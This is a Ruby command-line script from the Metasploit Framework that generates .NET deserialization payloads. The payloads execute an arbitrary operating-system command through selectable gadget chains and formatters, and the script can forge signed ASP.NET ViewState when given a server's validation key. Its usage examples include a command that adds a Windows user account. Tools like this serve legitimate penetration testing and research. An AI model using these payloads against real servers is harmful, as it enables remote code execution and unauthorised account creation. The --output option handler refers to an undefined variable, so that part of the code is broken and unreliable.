187 lines
6.0 KiB
Ruby
Executable File
187 lines
6.0 KiB
Ruby
Executable File
#!/usr/bin/env ruby
|
|
|
|
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
msfbase = __FILE__
|
|
while File.symlink?(msfbase)
|
|
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
|
end
|
|
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', '..', 'lib')))
|
|
require 'msfenv'
|
|
require 'rex'
|
|
require 'rex/exploit/view_state'
|
|
require 'optparse'
|
|
|
|
DND = Msf::Util::DotNetDeserialization
|
|
BANNER = %Q{
|
|
Usage: #{__FILE__} [options]
|
|
|
|
Generate a .NET deserialization payload that will execute an operating system
|
|
command using the specified gadget chain and formatter.
|
|
|
|
Available formatters:
|
|
#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join}
|
|
Available gadget chains:
|
|
#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join}
|
|
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
|
|
|
Examples:
|
|
#{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
|
#{__FILE__} -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \\
|
|
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
|
}.strip
|
|
|
|
def puts_transform_formats
|
|
$stdout.puts 'Available transform formats:'
|
|
$stdout.puts Msf::Simple::Buffer.transform_formats.map { |n| " * #{n}\n"}.join
|
|
end
|
|
|
|
module YSoSerialDotNet
|
|
class OptsConsole
|
|
def self.parse(args)
|
|
options = {
|
|
formatter: DND::DEFAULT_FORMATTER,
|
|
gadget_chain: DND::DEFAULT_GADGET_CHAIN,
|
|
output_format: 'raw',
|
|
viewstate_generator: '',
|
|
viewstate_validation_algorithm: 'SHA1'
|
|
}
|
|
parser = OptionParser.new do |opt|
|
|
opt.banner = BANNER
|
|
opt.separator ''
|
|
opt.separator 'General options:'
|
|
|
|
opt.on('-h', '--help', 'Show this message') do
|
|
$stdout.puts opt
|
|
exit
|
|
end
|
|
|
|
opt.on('-c', '--command <String>', 'The command to run') do |v|
|
|
options[:command] = v
|
|
end
|
|
|
|
opt.on('-f', '--formatter <String>', "The formatter to use (default: #{DND::DEFAULT_FORMATTER})") do |v|
|
|
v = v.to_sym
|
|
unless DND::Formatters::NAMES.include?(v)
|
|
raise OptionParser::InvalidArgument, "#{v} is not a valid formatter"
|
|
end
|
|
|
|
options[:formatter] = v
|
|
end
|
|
|
|
opt.on('-g', '--gadget <String>', "The gadget chain to use (default: #{DND::DEFAULT_GADGET_CHAIN})") do |v|
|
|
v = v.to_sym
|
|
unless DND::GadgetChains::NAMES.include?(v)
|
|
raise OptionParser::InvalidArgument, "#{v} is not a valid gadget chain"
|
|
end
|
|
|
|
options[:gadget_chain] = v.to_sym
|
|
end
|
|
|
|
opt.on('-o', '--output <String>', 'The output format to use (default: raw, see: --list-output-formats)') do |v|
|
|
normalized = o.downcase
|
|
unless Msf::Simple::Buffer.transform_formats.include?(normalized)
|
|
raise OptionParser::InvalidArgument, "#{v} is not a valid output format"
|
|
end
|
|
|
|
options[:output_format] = v.downcase
|
|
end
|
|
|
|
opt.on('--list-output-formats', 'List available output formats, for use with --output') do |v|
|
|
puts_transform_formats
|
|
exit
|
|
end
|
|
|
|
opt.separator ''
|
|
opt.separator 'ViewState related options:'
|
|
|
|
opt.on('--viewstate-generator <String>', 'The ViewState generator string to use') do |v|
|
|
unless v =~ /^[a-f0-9]{8}$/i
|
|
raise OptionParser::InvalidArgument, 'must be 8 hex characters, e.g. DEAD1337'
|
|
end
|
|
|
|
options[:viewstate_generator] = [v.to_i(16)].pack('V')
|
|
end
|
|
|
|
opt.on('--viewstate-validation-algorithm <String>', 'The validation algorithm (default: SHA1, see: Available HMAC algorithms)') do |v|
|
|
normalized = v.upcase.delete_prefix('HMAC')
|
|
unless %w[SHA1 SHA256 SHA384 SHA512 MD5].include?(normalized)
|
|
raise OptionParser::InvalidArgument, "#{v} is not a valid algorithm"
|
|
end
|
|
|
|
# in some instances OpenSSL may not include all the algorithms that we might expect, so check for that
|
|
unless OpenSSL::Digest.constants.include?(normalized.to_sym)
|
|
raise RuntimeError, "OpenSSL does not support the #{normalized} digest"
|
|
end
|
|
|
|
options[:viewstate_validation_algorithm] = normalized
|
|
end
|
|
|
|
opt.on('--viewstate-validation-key <HexString>', 'The validationKey from the web.config file') do |v|
|
|
unless v =~ /^[a-f0-9]{2}+$/i
|
|
raise OptionParser::InvalidArgument, 'must be in hex'
|
|
end
|
|
|
|
options[:viewstate_validation_key] = v.scan(/../).map { |x| x.hex.chr }.join
|
|
end
|
|
end
|
|
|
|
parser.parse!(args)
|
|
|
|
if options[:command].blank?
|
|
raise OptionParser::MissingArgument, '-c is required'
|
|
end
|
|
|
|
options
|
|
end
|
|
end
|
|
|
|
class Driver
|
|
def initialize
|
|
begin
|
|
@opts = OptsConsole.parse(ARGV)
|
|
rescue OptionParser::ParseError => e
|
|
$stderr.puts "[x] #{e.message}"
|
|
exit
|
|
end
|
|
end
|
|
|
|
def run
|
|
$stderr.puts "Gadget chain: #{@opts[:gadget_chain]}"
|
|
$stderr.puts "Formatter: #{@opts[:formatter]}"
|
|
serialized = DND.generate(
|
|
@opts[:command],
|
|
gadget_chain: @opts[:gadget_chain],
|
|
formatter: @opts[:formatter]
|
|
)
|
|
|
|
if @opts[:viewstate_validation_key]
|
|
serialized = Rex::Exploit::ViewState.generate_viewstate(
|
|
serialized,
|
|
extra: @opts[:viewstate_generator],
|
|
algo: @opts[:viewstate_validation_algorithm],
|
|
key: @opts[:viewstate_validation_key]
|
|
)
|
|
end
|
|
|
|
transformed = ::Msf::Simple::Buffer.transform(serialized, @opts[:output_format])
|
|
$stderr.puts "Size: #{transformed.length}"
|
|
$stdout.puts transformed
|
|
end
|
|
end
|
|
end
|
|
|
|
if __FILE__ == $PROGRAM_NAME
|
|
driver = YSoSerialDotNet::Driver.new
|
|
begin
|
|
driver.run
|
|
rescue ::Exception => e
|
|
elog(e)
|
|
$stderr.puts "[x] #{e.class}: #{e.message}"
|
|
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
|
|
end
|
|
end
|